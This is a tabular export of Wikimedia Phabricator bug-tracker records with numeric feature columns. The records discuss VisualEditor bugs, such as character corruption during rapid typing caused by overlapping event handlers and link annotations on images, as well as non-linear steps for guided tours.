https://gerrit.wikimedia.org/r/85011",,,1379613881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 85011 had a related patch set uploaded by Esanders:
MW*ImageNode's can't take link annotations

GERRIT_URL"
251293,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85010 had a related patch set uploaded by Esanders:
Node annotation blacklists

https://gerrit.wikimedia.org/r/85010",,,1379613876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0588235294117645,1.0,"Change 85010 had a related patch set uploaded by Esanders:
Node annotation blacklists

GERRIT_URL"
55143,Implement non-linear transitions,"Implement non-linear transitions between steps.  This is one of the key goals of the planned update to the API.  

The idea is that each step has a callback function which decides which step to proceed to.  This callback is called when an event occurs, such certain mw.hook, a user-provided event (there will be a way to tell the tour to check at a particular time), or a page change.

There can also be global transitions, which apply throughout the whole tour (for example, clicking ""edit source"" at any time may transition to the first step of the wikitext editing flow).

Simple use case:

Have a single tour with the basics of both wikitext and VisualEditor editing.  When you click ""edit source"" or ""edit beta"" at any time (unlike today, you don't have to be at the beginning), it transitions to the appropriate step.  You can then walk through the basic flows of the editors (as today)

More elaborate:

Your are in a detailed tour for VisualEditor.  You are in the step for the references dialog.  You click the template button, and it transitions to the step for adding a template.  When you walk through and save that, it transitions to a step for saving the reference.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1377068880,1402345387.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-gnj6uia6j4dqknm3pggn,task_description,resolved,True,c1,3,True,False,False,7,,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,5.666666666666667,2.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,2.6666666666666665,11.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,6.0,0.6666666666666666,1.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.0,0.0,18.333333333333332,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,9.666666666666666,2.6666666666666665,6.666666666666667,1.3333333333333333,1.6666666666666667,13.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,3.6666666666666665,11.666666666666666,1.0,0.0,2.0,0.0,3.6666666666666665,0.0,2.0,3.3333333333333335,0.0,1.0,0.3333333333333333,0.0,0.0,3.7990104410160512,0.6292270531400966,"Implement non-linear transitions between steps.  This is one of the key goals of the planned update to the API.  

The idea is that each step has a callback function which decides which step to proceed to.  This callback is called when an event occurs, such certain mw.hook, a user-provided event (there will be a way to tell the tour to check at a particular time), or a page change.

There can also be global transitions, which apply throughout the whole tour (for example, clicking ""edit source"" at any time may transition to the first step of the wikitext editing flow).

Simple use case:

Have a single tour with the basics of both wikitext and VisualEditor editing.  When you click ""edit source"" or ""edit beta"" at any time (unlike today, you don't have to be at the beginning), it transitions to the appropriate step.  You can then walk through the basic flows of the editors (as today)

More elaborate:

Your are in a detailed tour for VisualEditor.  You are in the step for the references dialog.  You click the template button, and it transitions to the step for adding a template.  When you walk through and save that, it transitions to a step for saving the reference.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
250806,Implement non-linear transitions,"Change 116228 merged by jenkins-bot:
Refactor and add non-linear tours, with tests

https://gerrit.wikimedia.org/r/116228",,,1402332991,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gnj6uia6j4dqknm3pggn,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9523809523809523,"Change 116228 merged by jenkins-bot:
Refactor and add non-linear tours, with tests

GERRIT_URL"
250796,Implement non-linear transitions,"Change 116228 had a related patch set uploaded by Mattflaschen:
WIP: Refactor and add non-linear tours

https://gerrit.wikimedia.org/r/116228",,,1395186275,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gnj6uia6j4dqknm3pggn,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 116228 had a related patch set uploaded by Mattflaschen:
WIP: Refactor and add non-linear tours

GERRIT_URL"
55079,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"This seems sporadic, and while it doesn't happen all the time, it does happen a lot, so I hope I am giving enough details to repeat this:

1. Put the cursor on an empty line without text.
2. Click the ""Bold"" button.
3. Type gibberish fast (ldkjlskdfjlkdjs lskdjf lsdkjflsdkjljsf....)
4. Witness weirdness: new characters pop up in the line underneath or in between the bits of gibberish, and if I try ""backspace"" to erase the lines even weirder stuff happen (like characters popup instead of being deleted, etc.

This doesn't happen when I typed regular language, I suspect, then, that it has to do with the speed of the insertion?

But after a single occurrence of this bug, the behavior of delete/backspace creates further bugs even if I stop typing quickly, or start new lines, etc.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1376955360,1377648335.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-ii6rhmjn7erj375xgev6,task_description,resolved,True,c1,3,False,False,True,7,,0.5,0.0,0.0,0.5,1.0,6.5,0.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,3.0,0.0,5.5,10.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,6.5,1.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,13.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,8.0,2.5,2.5,8.5,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,4.5,10.5,1.5,0.5,2.0,0.0,4.5,0.0,0.5,1.5,0.0,1.0,0.5,0.0,4.5,3.747422680412371,0.7010309278350515,"This seems sporadic, and while it doesn't happen all the time, it does happen a lot, so I hope I am giving enough details to repeat this:

1. Put the cursor on an empty line without text.
2. Click the ""Bold"" button.
3. Type gibberish fast (ldkjlskdfjlkdjs lskdjf lsdkjflsdkjljsf....)
4. Witness weirdness: new characters pop up in the line underneath or in between the bits of gibberish, and if I try ""backspace"" to erase the lines even weirder stuff happen (like characters popup instead of being deleted, etc.

This doesn't happen when I typed regular language, I suspect, then, that it has to do with the speed of the insertion?

But after a single occurrence of this bug, the behavior of delete/backspace creates further bugs even if I stop typing quickly, or start new lines, etc.

--------------------------
**Version**: unspecified
**Severity**: major"
247320,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),*** Bug 53317 has been marked as a duplicate of this bug. ***,,,1379576014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53317 has been marked as a duplicate of this bug. ***
247314,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Change 81213 merged by jenkins-bot:
Detect outdated pending post KeyPress handler

https://gerrit.wikimedia.org/r/81213",,,1377642670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.9411764705882355,1.0,"Change 81213 merged by jenkins-bot:
Detect outdated pending post KeyPress handler

GERRIT_URL"
247308,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),Further to my previous comment: it seems that it's actually onDocumentKeyPress which is doing the setTimeout which gets outdated; and that we can code our way around it because it's just there to do a surface-to-model poll.,,,1377602894,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,11.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,7.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.065217391304348,0.8043478260869565,Further to my previous comment: it seems that it's actually onDocumentKeyPress which is doing the setTimeout which gets outdated; and that we can code our way around it because it's just there to do a surface-to-model poll.
247301,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Change 81213 had a related patch set uploaded by Divec:
Detect outdated pending post KeyPress handler

https://gerrit.wikimedia.org/r/81213",,,1377602821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.95,1.0,"Change 81213 had a related patch set uploaded by Divec:
Detect outdated pending post KeyPress handler

GERRIT_URL"
247293,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"I can reproduce this just by holding a key down for a few seconds. It seems to be because of setTimeout( f(), 0 ) causing event handling to overlap. This could be challenging to resolve because of the way browser event handling works. Gory details below :-)

On my slow Ubuntu laptop, I can reliably reproduce the bug. It happens if I just hold the 'x' key down inside a <h1> for a couple of seconds.

I'm pretty sure it's happening because we use setTimeout to process events. This can get complex up when two events are emitted by the browser at virtually the same time. In this case, ve.ce.SurfaceObserver.onDocumentKeyDown receives event 1, does some processing, then effectively does a setTimeout( f(), 0 ) to finish the processing. But by that time, the browser has already queued the handlers for event 2, so the processing for event 2 will start before the processing for event 1 has finished.

I tested this by putting two lines at the top of onDocumentKeydown: a ve.log(""main..."") and a setTimeout( ve.log(""post...""), 0) . The corruption happens exactly when we get ""main..."" twice in a row followed by ""post..."" twice in a row. See http://pastebin.com/dzGYbpDq for full output.

This may be challenging to resolve, because we probably need to do stuff both before and after the browser's native keydown handler. We can't manage all the handling in our own queue, because (afaik) the browser's native handling can't be postponed. So it seems the only obvious option would be to detect when there are overlapping events, and try and do act delicately enough that things don't break.

Timo, any thoughts?",,,1377592907,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,0.5,1.0,3.25,0.5,1.25,0.0,0.25,1.0,1.75,0.0,0.25,0.25,3.0,1.75,6.75,10.75,0.0,2.25,0.0,0.0,0.0,0.25,0.0,0.0,0.5,1.25,0.5,0.5,5.0,0.75,1.0,0.0,0.0,0.5,0.0,0.75,0.5,0.0,0.0,0.0,0.5,0.25,0.0,0.0,0.0,0.0,12.75,0.75,1.25,0.0,0.75,0.0,0.25,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,5.75,2.75,1.75,9.25,0.0,0.25,0.0,0.0,5.75,0.0,2.5,0.0,4.0,10.75,2.0,0.25,2.0,0.0,4.0,0.0,0.75,2.25,0.0,2.25,0.0,0.0,0.5,3.859404924760602,0.6958618331053351,"I can reproduce this just by holding a key down for a few seconds. It seems to be because of setTimeout( f(), 0 ) causing event handling to overlap. This could be challenging to resolve because of the way browser event handling works. Gory details below :-)

On my slow Ubuntu laptop, I can reliably reproduce the bug. It happens if I just hold the 'x' key down inside a <h1> for a couple of seconds.

I'm pretty sure it's happening because we use setTimeout to process events. This can get complex up when two events are emitted by the browser at virtually the same time. In this case, ve.ce.SurfaceObserver.onDocumentKeyDown receives event 1, does some processing, then effectively does a setTimeout( f(), 0 ) to finish the processing. But by that time, the browser has already queued the handlers for event 2, so the processing for event 2 will start before the processing for event 1 has finished.

I tested this by putting two lines at the top of onDocumentKeydown: a ve.log(""main..."") and a setTimeout( ve.log(""post...""), 0) . The corruption happens exactly when we get ""main..."" twice in a row followed by ""post..."" twice in a row. See URL for full output.

This may be challenging to resolve, because we probably need to do stuff both before and after the browser's native keydown handler. We can't manage all the handling in our own queue, because (afaik) the browser's native handling can't be postponed. So it seems the only obvious option would be to detect when there are overlapping events, and try and do act delicately enough that things don't break.

Timo, any thoughts?"
247287,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"This is problematic, since I couldn't properly and reliably replicate the bug since then, it only happens occasionally, I'm not sure if it's because of the speed or some other aspect. 

But I did find that it happens not only with the Bold button - it happens either with ""just"" rapid text (no annotation) and with strikethrough and italics as well. I think it's probably safe to say that this isn't a specific annotation bug.

Another small detail about that bug was that once it *does* happen, the rest of the editing is a mess -- that is, once it happens, even if I stop rapid typing, and then start editing normally, I still get random letters and gibberish added, and the 'delete' functionality goes wonky. To get rid of it I need to refresh the page and start over. 

Also, This happened on my local wiki (using current VisualEditor master), installed on Ubuntu 13.04, and used through Firefox, and I just replicated it in MediaWiki.org",,,1377542371,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,5.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,7.333333333333333,9.666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,6.0,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,7.0,1.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.6666666666666667,8.0,3.3333333333333335,4.666666666666667,5.666666666666667,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,7.0,9.666666666666666,2.3333333333333335,0.0,1.6666666666666667,0.0,7.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,3.851697395376061,0.7326602282704126,"This is problematic, since I couldn't properly and reliably replicate the bug since then, it only happens occasionally, I'm not sure if it's because of the speed or some other aspect. 

But I did find that it happens not only with the Bold button - it happens either with ""just"" rapid text (no annotation) and with strikethrough and italics as well. I think it's probably safe to say that this isn't a specific annotation bug.

Another small detail about that bug was that once it *does* happen, the rest of the editing is a mess -- that is, once it happens, even if I stop rapid typing, and then start editing normally, I still get random letters and gibberish added, and the 'delete' functionality goes wonky. To get rid of it I need to refresh the page and start over. 

Also, This happened on my local wiki (using current VisualEditor master), installed on Ubuntu 13.04, and used through Firefox, and I just replicated it in MediaWiki.org"
247281,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"<<First, I noticed a strange behavior where anything I typed at the end of that third line, if I then hit enter, it would be duplicated in the fourth line, and my cursor would move to the fifth (blank) line. I then took a look at the wikitext generated by VE, and it looked odd, so I copied it into a wikitext editor, and got a rather different looking result than VE was showing. Also, upon saving with VE, I got this result, which is the same as copying into wikitext editor, but not what VE was showing me. Chris857 (talk) 20:54, 25 August 2013 (UTC) >>

http://www.mediawiki.org/w/index.php?title=User:Chris857&oldid=770602
http://en.wikipedia.org/wiki/File:Visual_Editor_-_subscript_and_superscript.PNG
http://en.wikipedia.org/wiki/File:Wikitext_editor_-_subscript_and_superscript.PNG

The user think this is related to the new super/sub script features.


I don't think it has to do with them. Proof is, I can reproduce (on Mediawiki) the same bug without using them. You just need to add quickly casual sequences of words, as if you were vandalizing the page. In this diff http://www.mediawiki.org/w/index.php?title=User:Elitre_(WMF)/SandboxVE&diff=prev&oldid=771184 I kept writing on the third line, it was VE which splitted what I wrote on more lines. I was also able to reproduce the difference among the content you ""write"" and the one which is saved. I can recall a vaguely similar behavior (not with casual letters though) when starting a list, but I can't say which bug that would be. I am also not sure whether this is a real bug or some counter-vandalism filter in action :)
Thanks.",,,1377524357,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.3333333333333333,0.3333333333333333,0.0,1.0,1.6666666666666667,8.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,6.0,10.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,3.3333333333333335,2.0,1.6666666666666667,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,13.0,0.6666666666666666,1.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,6.666666666666667,4.333333333333333,11.333333333333334,2.3333333333333335,2.3333333333333335,10.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.0,1.0,0.0,8.666666666666666,10.333333333333334,3.6666666666666665,0.0,0.6666666666666666,0.0,8.666666666666666,0.0,3.0,2.3333333333333335,1.0,2.6666666666666665,0.3333333333333333,0.0,1.0,3.4966666666666666,0.7033333333333333,"<<First, I noticed a strange behavior where anything I typed at the end of that third line, if I then hit enter, it would be duplicated in the fourth line, and my cursor would move to the fifth (blank) line. I then took a look at the wikitext generated by VE, and it looked odd, so I copied it into a wikitext editor, and got a rather different looking result than VE was showing. Also, upon saving with VE, I got this result, which is the same as copying into wikitext editor, but not what VE was showing me. Chris857 (talk) 20:54, 25 August 2013 (UTC) >>

URL
URL
URL

The user think this is related to the new super/sub script features.


I don't think it has to do with them. Proof is, I can reproduce (on Mediawiki) the same bug without using them. You just need to add quickly casual sequences of words, as if you were vandalizing the page. In this diff URL I kept writing on the third line, it was VE which splitted what I wrote on more lines. I was also able to reproduce the difference among the content you ""write"" and the one which is saved. I can recall a vaguely similar behavior (not with casual letters though) when starting a list, but I can't say which bug that would be. I am also not sure whether this is a real bug or some counter-vandalism filter in action :)
Thanks."
247274,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Hi Moriel, David, can you please specify on which wiki this happens?
I am not able to reproduce it on en.wp or it.wp, 
but it does happen on mw.org - even if you do not use the Bold button or the new features, like another user suggested. 
I'd say this bug probably needs to be renamed.",,,1377524032,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,7.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,9.0,10.0,9.0,1.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.462686567164179,0.7611940298507462,"Hi Moriel, David, can you please specify on which wiki this happens?
I am not able to reproduce it on en.wp or it.wp, 
but it does happen on mw.org - even if you do not use the Bold button or the new features, like another user suggested. 
I'd say this bug probably needs to be renamed."
247268,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"I can reproduce this in Firefox but not in Chromium, on a slowish Ubuntu machine.",,,1376955601,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,"I can reproduce this in Firefox but not in Chromium, on a slowish Ubuntu machine."
55071,about=null entries on <figure> elements (because of dom-fragment reuse),"From WP:VE/F page (http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=567413854)

------------------------------
Following a report on frwiki, I tried a simple modification by changing a text into a wikilink. VE messed up the article by duplicating parts (not even complete parts), see [http://fr.wikipedia.org/w/index.php?title=Gen%C3%A8ve&diff=95604102&oldid=95601955 diff]. It seems to be reproducible on this article. --[[User:NicoV|NicoV]] <sup>([[:fr:Discussion Utilisateur:NicoV|Talk on frwiki]])</sup> 15:51, 6 August 2013 (UTC)
------------------------------

A cursory investigation back then revealed that this could be because of incorrect DOM fragment reuse for figures which all had about=null.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47326",High,80.0,1376945880,1389799516.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_description,resolved,True,c1,3,True,False,False,7,,0.5,0.0,0.0,0.0,0.5,4.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.5,8.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.5,11.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,1.0,14.0,1.5,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,8.5,6.5,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,1.5,0.0,0.0,2.0,4.192857142857143,0.7428571428571429,"From WP:VE/F page (URL

------------------------------
Following a report on frwiki, I tried a simple modification by changing a text into a wikilink. VE messed up the article by duplicating parts (not even complete parts), see [URL diff]. It seems to be reproducible on this article. --[[User:NicoV|NicoV]] <sup>([[:fr:Discussion Utilisateur:NicoV|Talk on frwiki]])</sup> 15:51, 6 August 2013 (UTC)
------------------------------

A cursory investigation back then revealed that this could be because of incorrect DOM fragment reuse for figures which all had about=null.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
